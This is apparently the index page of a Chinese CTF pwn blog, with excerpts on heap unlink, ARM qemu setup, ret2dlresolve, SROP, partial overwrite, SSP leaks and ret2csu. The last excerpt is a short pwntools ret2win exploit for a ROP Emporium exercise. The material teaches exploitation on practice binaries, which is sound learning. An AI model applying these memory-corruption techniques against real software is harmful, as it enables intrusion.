Decorative image frame

unlink

把ctf wiki里的unlink题简单的做了一下
先简单的记录一下,以后吃透了再回来好好的填填坑

理解了一下unlink的操作
就是构造一个chunk,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x1302000:	0x0000000000000000	0x0000000000000051
0x1302010: 0x0000000000000000 0x0000000000000040 #fack_chunk(构造成一个free掉的样子) 0x51的chunk,就在他下面构造一个刚好可以填满这个chunk的new chunk,即-0x11
0x1302020: 0x00000000006030d0 0x00000000006030d8
0x1302030: 0x6161616161616161 0x6161616161616161
0x1302040: 0x6161616161616161 0x6161616161616161
0x1302050: 0x0000000000000040 0x00000000000000a0 #p位改成0,free下一个chunk之后会与上一个chunk合并
0x1302060: 0x654420746f626f52 0x00000000006c6976
0x1302070: 0x0000000000000000 0x0000000000000000
0x1302080: 0x0000000000000000 0x0000000000000000
0x1302090: 0x0000000000000000 0x0000000000000000
0x13020a0: 0x0000000000000000 0x0000000000000000
0x13020b0: 0x0000000000000000 0x0000000000000000
0x13020c0: 0x0000000000000000 0x0000000000000000
0x13020d0: 0x0000000000000000 0x0000000000000000
0x13020e0: 0x0000000000000000 0x0000000000000000
0x13020f0: 0x0000000000000000 0x0000000000020f11
Read More...

arm的环境搭建+简单的例题

关于arm的东西我好像已经拖了将近一个月了,不能再拖下去了,先记一些吧,之后我陆续补坑看看

arm环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#安装qemu
apt-get install qemu
#更新一下
sudo apt-get update
#安装32位的依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
#运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件
#安装64位的依赖库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
#运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件
#安装gdb调试工具
sudo apt-get install git gdb gdb-multiarch
Read More...

runtime_resolve

做为高级rop的题目果然是令人很头疼的,这类题目是没有办法leak的(无回显),就借助_dl_runtime_resolve(link_map_obj, reloc_index)对动态链接的函数重定位

控制程序执行 dl_resolve 函数
给定 Link_map 以及 index 两个参数。
当然我们可以直接给定 plt0 对应的汇编代码,这时,我们就只需要一个 index 就足够了。
控制 index 的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
伪造符号内容,使得符号对应的名称也在自己可以控制的范围内。

Read More...

srop

Srop

Srop大概是一种,没有其他函数,找gadget会比较麻烦,无法利用来leak地址,借助signal handle机制’sigreturn’的系统调用,更改signal frame(这是一段代码)的一些寄存器的值做到系统调用,主要相关的寄存器有:rax(系统调用号)、rdi(存参)、rip(下一条指令)、rsp(栈顶),还有就是re_sigreturn(存sigreturn的系统调用号,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15)

偷偷搬运一下wiki里的图,这就是一个signal frame,最后执行完sigreturn之后会执行execve(‘/bin/sh’,0,0)

Read More...

suctf的两三题wp

这次suctf我参与了的好像就三道题吧,还是和队友以及大佬商讨之后才弄出来的,发现自己真的太菜了

以下附上超级简单题的一些思路,当做给自己的记录吧

Read More...

partial overwrite

partial overwrite

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
(对于绕过PIE的操作我是没怎么接触过的)
大概就是用字节覆盖修改地址,使程序跳转到我们想用的函数上去

Read More...

ssp操作

用于开了canary的程序(无法正常爆破canary)就借助这种操作,打印出栈内的字符串
就是通过栈溢出报错信息,泄漏出指定地址的方法:
  stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串

Read More...

libc_csu

_libc_csu

1、Ret2csu

这是一个64位的题,开了NX,照常,进ida里瞄瞄它的大体结构是怎样的。
Emmm真是一个异常简洁的main函数

我们发现它有个pwnme函数哦,那就点进去看一下

它里面说了ret2win 的第三个参数(rdx)必须为“0xdeadcafebabebeef”,异或出来是“/bin/cat”,先记住它。然后它还有一堆的赋值为0的语句,手欠点开来看,发现它把got表全置0了,那么我们就完全不用考虑got表。

Read More...

ROP Emporium

这里是ROP Emporium的题的exp,然后由于我太懒,exp都是64位的,32位的还没写。

1-ret2win

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding:utf-8 -*-
from pwn import *

sh = process('./ret2win')


shell=0x0400824
bss = 0x0601060

payload = 0x20*"a" + p64(0) + p64(shell)

sh.sendline(payload)
sh.interactive()
Read More...